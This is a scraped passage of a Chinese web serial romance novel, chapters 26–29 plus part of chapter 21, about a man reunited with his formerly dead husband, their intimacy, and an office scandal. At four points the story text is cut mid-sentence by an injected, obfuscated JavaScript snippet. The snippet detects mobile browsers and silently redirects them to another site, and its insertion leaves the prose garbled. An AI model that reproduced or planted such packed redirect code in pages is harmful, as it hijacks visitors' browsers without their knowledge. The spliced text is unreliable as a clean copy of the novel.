“呃……哥,你一个男的为什么要整容啊?动刀子可疼了,我之前拔个智齿都一个月没好好吃饭。”小李说。 有墨镜挡着,韩谦瞥他他也看不出来:“人为悦己者容,男的怎么就不能整了?” 他戏瘾犯了,手指摩挲着吹牛说花了几十万整出的亨利卡维尔同款下巴,高深莫测道:“实不相瞒,哥就是靠这张脸吃饭的。” 小李“哇”了一下,很捧场地说:“能告诉我你叫什么,演过什么作品吗?我这辈子还没见过活着的大明星!” “不行。”韩谦婉拒道,“因为——” 小李:“因为不方便?” “Absolutelynot.” 韩谦摇摇头,说:“因为我比较糊。” 小李:“……” 赵郢:“……” 半小时后,救护车赶到,医护人员将廖彦川抬上担架,赵郢与韩谦陪同上了车。 赵郢自掏腰包代付了一系列费用,晚上十一点,他们到家的时候公主已经趴在狗窝里睡着了。 “快闷死我了。” 韩谦摘下口罩墨镜,边捋头发边抱怨这个立体口罩塑形效果好,但透气是一等一的烂,把他耳朵都刮红了。 他脸颊有点泛红,鼻梁挂着一道红印,不知道是被闷出来的还是被口罩边缘蹭出来的。 看来鼻梁太高也不一定是好事。 赵郢进卧室换了身家居服,一出来,韩谦正背着他脱上衣。纯黑的卫衣掀到头顶,底下流畅的肌肉线条将视线挤了个满满当当,他晃完神,韩谦的裤子也脱了。 而阳台两侧的窗户还没拉上,对面就是另一栋住宅楼。 赵郢抬腿往他屁股上踹了一脚,眼疾手快地扯过窗帘,骂道:“搞什么?你有暴露癖吗!” 韩谦脱得只剩内裤,他被踹得一踉跄,捡起地上的裤子,有些委屈:“太久没当人了,赵郢。” 做鬼一时爽,肉身回来以后反而不习惯了。 趁赵郢转过去拉窗帘,他从后面把人抱住,鼻尖在赵郢的肩颈处吸来吸去,跟金毛德牧这种大型犬似的。 “我没洗澡。”赵郢推推他的脸,但没推动,反过来手腕也被韩谦抓着一起亲。 “没事。” 韩谦在他锁骨上咬了一口,含糊道:“反正一会儿也是要洗的,而且你身上很香。” “……” “绝味鸭锁骨的那种香?”赵郢逗他,笑容收敛了一些。 他现在心情挺复杂,眼眶在医院外被风吹过,涩涩地泛着酸。对他而言,韩谦死而复生就像上天开了个玩笑,让他在巨大的情绪起伏中,给一头棒槌又奖励一颗甜枣。 喜悦的同时,赵郢偶尔会想,如果没有山体滑坡,没有后续的这些事,他是不是就要和韩谦“到此为止”了? 韩谦回来是回来了,他所面对的困境却始终不变,他该怎么做才好? 正思考着,韩谦突然把头埋在他颈侧,沉闷地笑个不停,赵郢感受到了灼烫的热风,以及韩谦眼角笑出来的泪花。 “赵郢,下次不许讲这种话。” 他笑得骂了句脏,说:“差点萎了。” 然而他说的和实际情况恰恰相反。 “……傻逼。” “又骂我。”韩谦双手伸进赵郢的上衣下摆,断断续续地按压着他的小腹,“我都数过了,加起来一共骂了八十一次。”(ps:这里就是摸肚子,摸肚子,摸肚子,审核能不能看清楚?) 赵郢的腹部上了一圈痒痒肉,忍不住低低喘了一声,他感觉这里对于韩谦就像猫遇到猫薄荷,肚子经常一个不注意就被韩谦袭击了。 赵郢哪哪都瘦,从前在床上的时候,韩谦会故意握着他的手往肚脐偏上的地方按,问他这里是不是凸起了。 “不记得我有骂过这么多,少胡诌。” 衣服里的手往上摸到某个部位了,赵郢伸手朝他左脸轻轻拍了一下,示意韩谦见好就收,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15050451|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要去洗澡了。 结果那人腆着脸把右脸凑上来,蓝眼睛闪着光:“这边也要。” “滚蛋!”赵郢无话可说。 韩谦总算从他身上下来,恍如一条离开洞穴的八爪鱼,光着上半身把那个装着他黑白遗照的相框拿走,纠结是扔垃圾桶好还是用打火机把照片烧了好。 “哎,别给我扔了。”赵郢将相框一把夺走,珍惜地擦掉韩谦印在上面的手指印。 “这是遗照,赵郢!” 韩谦贴着他的后背喋喋不休:“很不吉利好吗。” “封建迷信。”在寺庙烧了大几百万的赵郢倒打一耙,“留下来做个纪念也不错,我还没见过你这么年轻的样子。” “你喜欢我可以给你一沓。” 韩谦说:“我妈妈那里有一本相册,装着我从刚生下来到八岁的所有照片,十几岁的也有几张,不多,最多的是我穿尿不湿拍的写真。” “我没有看别人穿尿不湿的癖好。”赵郢淡淡道,“这种你就留着自己欣赏吧。” 他问道:“相册现在在哪?” “唔……”韩谦双手抱臂地靠在放相册的柜子旁,“在我旧金山的家里。” “那算了。”照片被赵郢抽出来,塞进钱包夹层。 “对了。” 赵郢进浴室准备脱衣服洗澡,韩谦也跟了过来,“你为什么要道歉?” T恤的布料太软,此刻像一股拧起来的绳,绞着赵郢的手臂。这回两个人都有些“坦诚相见”的感觉了,赵郢尴尬得说不出话,没想到记性这么好,且具有宝贵的刨根问底精神。 他承认他的坦然都是装的,离婚后的每一天没有哪一次不在想念,连身体保留下来的本能都在告诉他迟早有后悔的那一天。 如果韩谦没有活过来……如果韩谦永远长眠,他会带着悔恨走到生命尽头。 “没有为什么,道歉不需要理由。”赵郢说道。 “可是道歉一定有有原因。” 韩谦说,“如果是因为你那不能说的苦衷,我接受你暂时的沉默。” “我猜你不想我和你一起洗澡。”他拧着门把手,等赵郢的回答。 “没错,你可以走了。”赵郢难为情地向他挥挥手。 韩谦轻笑一声,走之前带上了门。 去往莫湖岛颠簸的两个小时,加上扎帐篷、爬山以及把廖彦川送到医院,赵郢的体力消耗殆尽,已经扛不住浓烈的睡意。 韩谦洗完澡出来的时候,他整个人处在半梦半醒的状态中,面部还盖着一本睡前催眠用的财经杂志。 但这种状态并没有持续多久。 赵郢还做梦在热带雨林探险,没一会儿,路旁蹦出一只霸王食人花,类似植物大战僵尸大嘴花的外形,花芯的位置被一条黏腻的红舌取代,一下子咬住了他的脚踝。(ps:这是霸王花,审核没玩过植物大战僵尸吗?) 他在一点点地陷落,脚踝湿哒哒的,紧接着相同的湿意一路往上蔓延。赵郢想从食人花的嘴里挣扎出来,却不小心加深了被生生吞食的体验。 不上不下的感觉就像有一万只蚂蚁在身上爬,赵郢颤抖着醒了过来,睁开眼,多出来的那个人宽阔的肩胛将毛毯顶出拱桥的模样。 韩谦喉结微微滑动,须臾,他托着腮。 “是我吵醒你了吗,赵郢?” 27. 第 27 章 韩谦的许多想法就像是大脑一热的产物,好比两个武林高手对决,赵郢刚中规中矩地摆了一个起手式,对方却使出杀手锏结束了战斗。 他简直拿韩谦没办法。 “你要是还有点良心,待会儿就让我接着睡。”赵郢抬手捏捏他的耳垂,看向韩谦撑在他身体两侧的臂膀,啧一声,“压到我腿了。” “有吗?”韩谦不服气地盯着他,转而把赵郢的腿分得再开些。 他大半个人挤在赵郢膝间,为了不弄醒他,特地做得很小心,如此谨慎的他是不可能压到赵郢的腿的。 韩谦做了个类似平板支撑的动作,一个挺背滑到赵郢头顶,俯身想同他接吻。嘴唇即将挨上的时候,却被赵郢的两根手指捏成扁平的鸭子嘴。 “……” 韩谦:“嗯嗯嗯?” “漱口了吗就想亲我?”赵郢拍了拍空着的另一半床,等韩谦在他身旁躺下了,翻身在边几的抽屉里找到一瓶漱口水和一个一次性塑料杯。 韩谦看了他一眼,默默接过:“赵郢,你自己的东西也嫌弃?” “漱口好吗?赶紧漱口。”赵郢强调道。 他的漱口水也是橘子味的,有些涩嘴,宛如被一把毛刷刮了两下舌头。韩谦朝杯子吐了三次,一边嚷着说“这总行了吧”一边把自己贴过去—— 下一秒,他又被赵郢捏成鸭子嘴。 韩谦吃瘪的表情很好玩,赵郢打心眼里这么认为,尽管他总说这个人的举动令人意想不到,但和韩谦呆久了,他本人也有被同化的趋势。 这叫什么?近墨者黑。 赵郢松开手的一瞬间,被愚弄了两次的人将胸膛结结实实地压了下来,犬齿一口咬下他下巴上。 赵郢想,韩谦肯定把他的下巴当成仅供磨牙的狗骨头,咬完还要再舔舔,蹭得口水到处都是。 于是他左腿踩着床垫,用膝盖轻轻怼着韩谦的小腹。 “嗯?”韩谦捉着他乱动的脚踝,歪歪头。 赵郢张开嘴,吃药似的“啊”了一声,催促地说:“快点,我好困。” 两人终于接了一个漫长的吻。 赵郢后背湿淋淋的,一脑门的汗,但韩谦也有过之而无不及,他们仿佛睡在露天房间中,被大雨浇了一身的落汤鸡。 他抵着韩谦汗湿的额头,这小子经常把他不爱运动挂嘴边,床上运动怎么不算运动? 休息的几分钟空隙,赵郢目光失焦地发了会儿呆。 “想什么呢?”韩谦搂着他的腰问。 透过漏出一条缝隙的窗帘,屋外的天蒙蒙亮,被一层色调暗沉的灰笼罩着。 他趴在韩谦身上,犹如一条脱水的鱼,颊边浮着一抹高热的红晕,“没什么。” “就是在想……你今后怎么坐飞机。” 韩谦没憋住,扑哧笑了出来。 他在地府问过相同的问题,因为黑白无常的疏忽以及阎王监管不力,他白白浪费了几十年光阴,被省流版一键火化。再次拥有人身,他还能不能叫回“韩谦”这个名字? 阎王“这个这个”“那个那个”了半天,皱着一张苦瓜脸:“情况具体是什么样的,还要看具体的情况……” “Yesorno?”韩谦的笔尖顿在问卷最后一栏,要知道,他一个笔误,阎王的五星好评可能就会沦为负五星差评。 “操作空间不大。”阎王恳切道。 韩谦急了,地府调研办公室的桌案被他拍得哐当响,“那我岂不是成了黑户?问政天庭的意见箱在哪?我要投——” “别着急嘛这位小友……” 阎王嗔怪地看着他,将那碗泡着上好的,他都不舍得喝的宝贝茶叶的瓷杯推到韩谦手边。 “我查过你的家属名单,你的母亲霍夫曼女士已经过世,父亲乔彬程也差不多快了。你大可以伪装成死去的你的远房表弟,在死无对证的情况下,不会被拆穿的。” “至于户口问题,这更好办啦!一旦你确认好你的新名字,地府这边将把你的新身份录入生死簿系统,存档成功后,你在人间存在即合理。” 阎王说道:“想好你叫什么了吗?” 韩谦在回访问卷上给阎王勾了一个五星好评,还写了一句体面的评语,有这份具有谅解性质的证明在,以阎王为一把手的地府单位可申请酌情处理了。 “那你的新名字呢?”赵郢翻下身问道。 韩谦:“英文名是AlexHofmann,中文名还叫韩迁。”他在赵郢手心写了个字,“这个迁。” “笔画少,不错。”赵郢赞叹道,“这个名字我喜欢。” 前几年云升想筛选出更符合条件的实习生,弄了一个什么带教日志,凡是手下有实习生的员工都被强制性要求填写。 别的实习生还好,连名带姓三个字的笔画加起来都没韩谦一个人的多。 赵郢想想就觉得糟心。 “原来的那个‘谦’还是乔彬程取的。”韩谦说,“温良恭俭让,叫韩让听起来怪怪的,后来折中了一下,选了意思相近的谦。” 他提到乔彬程时眼底闪过一丝厌恶:“老头希望我不争不抢,不要喧宾夺主,可我对他的钱根本不感兴趣。他从来都不是一个好父亲,还在我葬礼上假惺惺……没劲。” 赵郢被他说得一愣一愣,在他出生的地方,在他念小学初中的县城,所有人都默认听话的才是好孩子,也就是韩谦口中那种不争不抢的性格。 他随大流地赞同这个观点,上了高中,周围的人又变了话术,说人就是不断地竞争向前,大胆、创新、有自主有斗志。 进入职场后更复杂了,有人期望你做老子,也有人盼着你做孙子。 做还是不做,这是个好问题。 “赵郢,人生下来就得又争又抢啊。”韩谦非要跟他睡一个枕头,低声道,“不然怎么出生?” 意识到韩谦指的是什么,赵郢在他脑门敲了一记,笑道:“歪理邪说。” 但是又接了一句:“不过我觉得你说得对。” 说完他和韩谦对视一眼,像是被点了笑穴,乐得腿肚子都在抽筋。 这个周末是赵郢一年以来过的最舒坦的一个,上一个项目告一段落,没有半夜三更要求推翻重改的傻逼甲方,没有响个不停的企业微信——刘总等人还在莫湖岛露营,他好像处在被世界遗忘的安静角落。 或者说,这是属于他的“乌托邦”。 闹了一整晚,赵郢睡到下午四点才醒,他把手伸到一旁摸了摸,没摸到人,顿时吓得心脏将要从嗓子眼蹦出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15056063|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 他拖鞋都来不及穿,光着脚跑到客厅,此时玄关传来开门的声音,韩谦拎着一大袋东西,隔着商超的大号购物袋,他隐约辨认出里面装的是调味料之类的日常用品。 “穿鞋穿鞋,寒从脚上起!”韩谦将袋子搁到餐桌上,肩膀推着赵郢的后背。 明明口头说一句的事,却一定要身体力行地贴贴一番。 赵郢被他推回卧室门口,老老实实踩着拖鞋,走出来后嘴里叼着一根烟:“买了什么?” “虾仁馅的速冻水饺,李锦记薄盐生抽……赵郢你他妈把烟放下!” 韩谦起床第一件事就是先藏赵郢的打火机,感谢他的先见之明,赵郢从穿鞋到走进客厅,整整两分钟都没摸到打火机的尾巴。 “抽死你算了呢。”韩谦变戏法似的抽出一大盒不二家棒棒糖,挑了根香橙味的,撕开包装塞进赵郢嘴巴里,“我活都活过来了,想殉情门都没有。” 赵郢把糖块顶到右侧腮帮,狂跳的心脏缓慢平稳下来:“我五岁小侄女都不吃这玩意了。” “小孩又不抽烟,可比你乖一万倍。”韩谦冷哼道。 赵郢将装没听见,挽起袖子进了厨房。 水烧开,他向锅里扔了十二个饺子,随后扭头敲了敲隔断的玻璃门,问韩谦吃多少个。 “和你一样。”那人说。 等饺子煮好期间,赵郢打了两碗调料,一碗不辣一碗微微辣。 赵郢把盘子端出来的时候,那一大袋杂物早已被韩谦搬到桌下,他盘腿坐在地板上,低着头不知道在捣鼓什么。 他凑近一看,韩谦的指间落着一朵快拼好的乐高玫瑰花。 “就来,一分钟搞定。”韩谦说。 最后只用了十几秒,玫瑰花的绿色花柄与花朵成功对接,连接处被他旋紧,拧得很严实。 大号塑料袋底部装着一个蓝白相间的积木花盆,韩谦把花插进去,回到座位上。 “送谁的啊?”赵郢饺子咬了一半,说。 韩谦:“你有见过我送除你以外的人礼物吗?” 赵郢正在咀嚼,只好闷声笑。 想起韩谦第一次到他家,看到那一阳台绿植,还问过他副业是不是植物学家。 赵郢当然不是,他养什么都养不好,只能入手一些不易被养死的花花草草。他讨厌看到一个鲜活的生命在自己面前消逝,可能冥冥之中,上天感应到了他的心声。 所以他的爱人失而复得,还送了他一朵永不凋落的积木花。 赵郢进厨房不带手机,刚好放在韩谦那边。吃饭的时候桌面轻微震动,似乎是他手机收到了许多条消息。 韩谦瞥了眼锁屏,“舒沅姐的消息。” 手机递给赵郢之前,锁屏的消息栏滚动不停:“……还有小李的消息、刘叔的消息。赵郢,我记得今天周末?” 赵郢接过去一看,工作号的置顶群全炸了,白舒沅发了99+的微信,问他和廖彦川到底怎么一回事,让他赶紧看公司大群。 点开最上方的群聊,赵郢也有些傻眼。 一位群昵称名叫“杜蘅”的人,在群里甩了一张他和廖彦川那天在山上的错位合照,咄咄逼人地质问道: [赵经理,你跟我老公是什么关系?] 28. 第 28 章 置顶第一的公司大群最新消息还停留在杜蘅那句质问上,但赵郢知道,同事私下创建的闲聊群肯定飞满了关于他的猜测。 什么“男小三”啦,“办公室偷情”啦,标题他都想好了: 《树林基情四射,人夫偷食男同事震撼全城》 八卦是一个人的天性,尤其这还是领导的八卦。如果把主角之一从他换成刘总,赵郢照样不能免俗,高低要和韩谦唠两句。 韩谦看着赵郢的眉心越皱越深,放下筷子碰了碰他的手背,问:“怎么了?” 赵郢沉默不语地将手机调转方向,示意他自己看记录。 杜家的公司是家族企业,在燕城扎根已久,好比一棵长了百年的老树,根系发达枝繁叶茂。杜蘅是乔彬程现任妻子杜女士的家族成员,按辈分,应该是他们女儿的表姐或者表妹。 韩谦的手指滑动几下,疑似一目十行地过着群聊的对话,半晌赵郢听见他咬牙切齿地挤出三个字:“狗男女。” 在狗窝盘成一个弧形的比格犬动了动耳朵,高昂地“汪”了一声。 韩谦:“…….没说你。” 公主又把脑袋低下了。 “当初刘总找我谈话,说廖彦川和杜蘅的关系岌岌可危,两人貌似在冷战。这会不会是他们商量好的仙人跳?” 赵郢在真正组织好措辞前不会回复杜蘅,当务之急是理清思路。 他半截小臂横在胸前的餐桌上,仿佛顷刻间进入到工作状态,严谨地假设情况:“廖彦川负责找机会靠近我,让人拍下这种容易出误会的照片,杜蘅则以受害者的身份声讨我,用负面舆论逼迫我离职。” “等等,还有一个问题。”赵郢抬眸望向韩谦,“你有见着偷拍的人吗?” “没。”韩谦摇头说,“那人在我来之前就走了。” 他把照片放大一些,着重观察了一下拍摄角度和清晰度,“不过从细节看,你和廖彦川的轮廓都很模糊,画面中还出现了拖影,那个人走得挺着急。” “业务不熟练啊。”韩谦评价道,“好歹请个专业点的呢?参照那些扛着‘大炮’拍明星的站哥站姐,人家出的图连毛孔都看得清。” 赵郢:“……”那还是算了。 他并不想被全公司的人看到脸上的毛孔。 “我不觉得是仙人跳,赵郢。你的那位初恋前任智商没那么高,杜蘅的自尊心也强得难以想象,她绝不可能忍受自己的丈夫对一个男人别有居心,哪怕只是做戏。” 韩谦嘲讽道:“我更偏向于是你的蠢货前任心思太明显,被我这位‘表姐’无意中发现了而已。” 他话里话外贬低廖彦川的意思也很明显,赵郢大老远就闻到一股酸酸的醋味了。 韩谦这番酸言酸语仿佛一支放松剂,让他紧绷的肩背松懈下来,萦绕在周围的压抑感也消失了一大半。 赵郢把手机拿回来,脑海中大致有了思路,于是他点开群聊回复道: [杜总是新闻学出身,想必比我更清楚什么是‘视觉欺骗’。仅用一张借位照片就含沙射影我与廖经理有不正当关系,杜总是否违背了本专业的初衷?] [且不说那天我是被邀请上山,身为已婚人士,我对我的伴侣也没有任何背叛的想法。清者自清,杜总方便的话可以在私下与我沟通,我不介意出示我的结婚证件证明我的感情状态。] [如果杜总执意偏执己见,届时就让双方律师进行交涉,我们没有再谈下去的必要。] 他发完最后一段,刘总开启了全员禁言,卡的时间刚刚好。 一眨眼,刘晋的电话拨了过来,赵郢点了接通。 “赵郢,你……什么时候的事?”他的感情状态对外一直保密,刘晋感到惊讶很正常。 赵郢从靠椅上起身,经过客厅又停下了,他现在已经不需要再避开韩谦。 “快两年了吧。您知道的,我并不想在公司暴露太多自己的私生活。” 刘晋在电话里沉默几秒,说:“是公司内部的同事?” 赵郢“唔”了一声:“算是。正巧刘总您也认识。” “我认识?” 刘晋登时起了精神,开始可汗大点兵,将分公司对得上号的人全提了一嘴,白舒沅都没能逃过他的魔爪。 中老年人的想象力堪比天马行空,赵郢见他越说越离谱,与反过来趴在椅背上的正主对视一眼,眼底含着笑:“这些都不是。” “您大概率想不到的。”他轻快道,“是韩谦呀。” “韩……咳,韩什么?”刘总一阵咳嗽,咳得气喘,“韩什么?” “韩谦。”赵郢说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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走到他如今的位置,每一步都以消耗生命为代价,加班、酒局、二十四小时待命,还有各种大大小小的考核。云升就像IT人心中的互联网大厂,明知道前方是一团火,焚烧的是源源不断的大好年华,却还是义无反顾地扑进去。 他真的清楚自己想做什么吗? 他真的热爱这份职业吗? 赵郢一年又一年地蹉跎自己的时间,只是因为他没得选。 他就像一个能源中转站,通过精力获得的报酬并不真正属于他,就算付出再多,他也没有实感。 那个念头渐渐冒芽,他需要一个契机去实现,而当下就是一次不错的时机。 赵郢将车钥匙装进口袋,“我要去医院看看廖彦川,你想不想跟我一起?” 韩谦迫不及待地跟了过来,笑道:“想啊。” “必须好好慰问你的蠢货初恋。” 29. 第 29 章 医院停车场离住院楼很近,赵郢把车停好到走进五楼的一间病房,统共用了十分钟不到。 一路上赵郢强调再三,让韩谦“不许动手,不许言语过激,不许抢他的话”,毕竟他们来只是为了从廖彦川嘴里试探出偷拍的人是谁,而不是叫这人再上一次手术台。 韩谦“嗯嗯哦哦”地应了几声,赵郢每说一句,他唇缝便抿紧一分,遮住眼睛的墨镜反射出条状的灯光。 他脑袋上罩了一顶版型很好的棒球帽,走在医院长廊上仿佛一堵行走的高墙,路过的病人见了都要绕道走。赵郢挠了挠这堵墙的下巴,叹气道:“你放松点,好不好?” 绷直的唇缝有了松动的趋势,赵郢转过身,将病房的门推开。 廖彦川的床位在进门右手边,剩下的三张床都空着,有两张放了杂物,可能是病人做检查去了。 在医院呆了一整晚,那人腿上盖着被子,浑身透着一股虚弱的劲儿,下巴也长了层薄薄的青色胡茬,正转着水果刀给一颗苹果削皮。 “我能办理出院了吗?”廖彦川似乎把他当成查房的护士。 赵郢走到床尾,说:“廖经理,是我。” 削水果的那只手一顿,廖彦川抬头看着他:“我要离婚了,小郢……你后面那个人是谁?保镖?你看起来被那晚吓得不轻。” 赵郢眼角余光瞥到韩谦霎时握紧的拳头,不露声色地把人挡住,“他是谁跟你没关系,你离不离婚也无人在意,我来只想问一件事——那张照片是谁拍的?” “赵郢,你为什么不在意?我离婚可是为了你啊。” 廖彦川捏住果皮一段,将这条完整的螺旋状物体放到病床旁的柜子上。 他切下一小块苹果片,慢吞吞地咀嚼:“杜蘅是我的第二任相亲对象,第一任,也就是被你发现的那位,我和我爸妈说了我们不合适。” “杜蘅也是不合适的,但好在她对我很满意,我说什么她信什么。要是她精一点,敏锐一点,再强势一点,我那时就不会选她了。” 赵郢有些反感他说这些话的口吻,很轻蔑,就像杜蘅不过是他光鲜外表下的装饰物,一个给他提供资源的,家世与他势均力敌,甚至更优越的附属品。 “小郢,我跟你才是一路人,我们是一样的。” “一路人?我?”赵郢面无表情,他盯着放在看护椅上的硕大果篮,“你是不是睡着的时候脑子被门夹了。” “你以前说话没这么伤人,你曾经是很崇拜我的,不是吗?”廖彦川保持微笑,“我们都不得不听从父母的安排,都无法拥有自主选择权。虽然你在我面前从未提起过你的原生家庭,但我私下找你们这一届的班长要了你的家庭资料。” “你过得很辛苦吧,赵郢。当时为什么一定要和我分手呢?我们完全可以继续维持这段关系,只要不被人发现就好。更何况,你的父母应该也接受不了你和一个男人在一起,你迟早也是要和女人结婚的。” 廖彦川望向站在赵郢身后的韩谦,他总觉得这个人但从外形看有点熟悉,却想不起来他能与自己认识的哪一位对上号。 但他还是礼貌地对韩谦点点头,慢条斯理地问:“这位先生,你说对吗?” 韩谦没有回答。他拐了个弯,绕开赵郢冲到病床边,单手拽着廖彦川的蓝白病号服衣领,把人从床上微微提起。 摘掉墨镜、鸭舌帽以后,廖彦川瞳孔微缩,激动地挣扎起来,嘴里发出“你”之类的单音。 “认识一下,廖先生。”韩谦肃然的时候,那双灰蓝色的眼睛传达出一种无机质似的冷淡,“我是AlexHofmann,我的表弟AndrewHofmann你或许认识,他中文名叫‘韩谦’。” 设想一下,当一张与已死之人一模一样的脸出现在你眼前,并用凶狠的目光死死盯着你的时候,任何人都不可能继续平静下去。 韩谦没有松手,拎一个一米八的成年男人跟饭后甜点差不多,“你很喜欢被崇拜的感觉。所以,你在燕城的那些男伴也是因为这种崇拜,才能和你维系长期关系的吗?” “你——” “我怎么知道的?”韩谦笑道,“廖先生,你的事迹并不难查。也许你的妻子杜蘅女士,也并没有你想的那么愚蠢好骗。据我所知,这些年你大约与三位数的人发生过关系,达成长期感情的,有一半是你带的实习生。” “到底是“你为了赵郢离婚”,还是“这些不干不净的勾当终于露出马脚”,在我把证据传到杜衡私人邮箱之后就有分晓了。” 赵郢对于他说的这些一无所知,惊讶之余,他也被廖彦川惊人的约/炮频率狠狠震撼到。 其实多数人对自己的第一任都有初恋情结,赵郢也有,但在分手后的第二年就消失得一干二净了。 他有点为当年的自己感到难过,他心想,原来烂掉的人并非一夜之间开始腐烂。 他们往往从最深的地方开始溃烂发霉,当痕迹延伸到表层,就说明这个人已经从头到尾地烂透了。 赵郢捡起一张插在果篮当中的祝福卡,字迹龙飞凤舞,两行祝福廖彦川早日康复的黑体字下方是一个人的签名落款。 “那张照片是张简荣拍的?”他说道。 看到廖彦川脸色一变,赵郢知道他猜得八九不离十了。 张简荣这个人精得冒油,又长袖善舞,第一次被廖彦川找上门,不会贸然同意他的请求。但事不过三,他最终还是会答应与廖彦川合作。 赵郢心想,张简荣起初可能不知道廖彦川要他拍的具体内容,等到真正上了贼船,发现事情没他想得那么简单,下一步就是给自己留后路了。 于是他把这张照片发给了杜蘅。 还有这个果篮,张简荣是不是也料到他会来医院,顺便卖他个人情? 看来张简荣比廖彦川更适合在知乎开付费职场专栏。 赵郢在脑子里整理出一个来龙去脉,轻轻碰了下韩谦的手臂,“行了,放手吧。” 廖彦川领口的抓力猛然一撤,他直挺挺地倒回病床,狼狈地抚平胸前被拧皱的布料。 “你也没有很爱韩谦嘛。”他挤出一抹勉强的笑,“人死了没多久就和哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你以为我是怎么查到廖彦川有接近三位数的炮/友的?” 韩谦想到什么,尴尬地别开头:“亲自往他那跑了一趟,他估计是被我吓着了,大白天开了一瓶速效救心丸。” 不仅如此,还抽出压在办公桌下的桃木剑和黄符,朝他念了三遍“九天应元雷声普化天尊”,直到韩谦把脸贴着桃木剑,又用手背蹭蹭驱邪符,证明自己“是个人”。 “那我下次给他补个红包。”赵郢有些心疼。 “行。” 韩谦:“周宁说乔彬程快不行了,他前些日子回了燕城,我在想要不要去看看。你觉着呢?” “看你自己。”赵郢踩住油门,把车开入正道,“不去也没事,你也不欠他什么。” 前方是一个红灯,他一只手搭着方向盘,另一只手肘压着滑到最低的车窗。 赵郢想了想,还是说: “明天我准备找刘总提辞职。” 20-30 第21章 第 21 章 “那我是什么样的人?”…… 那句话说完, 他们爆发了一场有史以来最激烈的争吵。 韩谦五指钳着他的手腕,用力到指骨泛白,赵郢让他松手, 却被狠狠掼在墙上。 按理说这个力度会使人感受到剧烈的疼痛,但他没有,因为韩谦的手臂隔在墙与他的背部之间。 “赵郢, 你最好不是跟我开玩笑。”韩谦眼睛里充满红血丝,太阳穴青筋暴张, 相反眼神又很平静。 “不是玩笑……” 赵郢被吓了一跳, 心惊胆战地咽了咽口水,他察觉到韩谦的状态有些失常, 但离婚的事迫在眉睫, 他没有时间考虑太多。 协议书被他牢牢抓在手心, 没有因为方才的响动散架,赵郢大脑懵了几秒, 别开脸,手掌推推挡在身侧的胳膊:“你冷静一下, 看完再说好吗?” 面前的人松动几分, 下一秒, 赵郢的脚尖落了地。 韩谦将装订成册的协议书翻得哗哗响,纸张没一会儿就被这种暴力的阅读方式弄皱。赵郢后背轻轻倚着墙, 前几天他连夜联系上学法的大学同学,经他推荐, 请事务所的一位离婚律师加急拟定好了协议内容。 和平分手, 友好离婚,赵郢不会多拿一分不属于他的财产。 “……双方因性格不合致使感情破裂?” 韩谦终于读完了全部,他抬起头, 浮现出一个很困惑的表情:“可之前我们上床的时候,你还一边高/潮一边说爱我。是我做错了什么吗,故意扔掉你藏起来的烟,不喜欢戴/套,还是上个月用你的卡充了福莲楼的年度会员?” “赵郢,你告诉我哪一样值得你跟我提离婚!” 他想动手撕了那份协议书,却被赵郢轻声打断:“我打印了一百份,撕完了家里还有。” 韩谦动作一顿。 “所以到底是为什么?”他哑声问。 赵郢定定地望着他,面无表情:“你知道的,我讨厌别人欺骗我。你好好想想,自己隐瞒了什么没对我说。” 有一点没说错,他诚然最恨的就是欺骗。当年赵郢被廖彦川甜言蜜语蒙了心,离成为他婚姻里的男小三仅一步之遥。但实话讲,韩谦的这种隐瞒在他看来压根不算什么,只是这回情况特殊,他不得已才拿鸡毛当令箭。 32寸的行李箱立于旁侧,韩谦坐了上去,四角滚轮轻轻一滑:“你知道了。” 他用的陈述句。 “是啊,大少爷微服私访下基层,还在我手底下干了一年实习生。”赵郢故作刻薄地笑,说道,“你要是改名叫‘乔谦’,我当初就不睡你了。” 韩谦很久没见他这副模样了,胸口闷得慌:“乔谦?我又不搬家。” 他从行李箱上起来,覆着赵郢那只围着一圈红痕的手腕,闷着声给他揉了揉,明明是俯视的角度,却一副低声下气讨饶的姿态:“我承认,这件事是我不对,乔彬程的家庭构成很复杂,一时半会儿说不清楚……” 赵郢任他揉着手,同时取掉无名指的婚戒:“你实话实说,我们这对婚戒多少钱买的?” 韩谦含含糊糊地说了串数字。赵郢又问一遍,他才把字音咬得清晰了些:“七……万。” 赵郢:“再给你一次机会。” “加个零。” “韩谦。” “好吧是七百万。” 韩谦骗他的远不止这些,比如那次美国的蜜月旅行,被韩谦伪造成年终的奖品之一,拜托刘总后台操作到了赵郢那里,还有那一阳台的花花草草,不是花鸟市场批发的,而是从各地送来的稀有货,价格不菲,甚至被赵郢养死了几盆。 得知韩谦的身份之后,赵郢有想过他也许会很有钱,但没想到他有钱到了令人发指的地步。 换算成房价,相当于两套房子戴在了他手上。 “你说过在南水没有房子——” 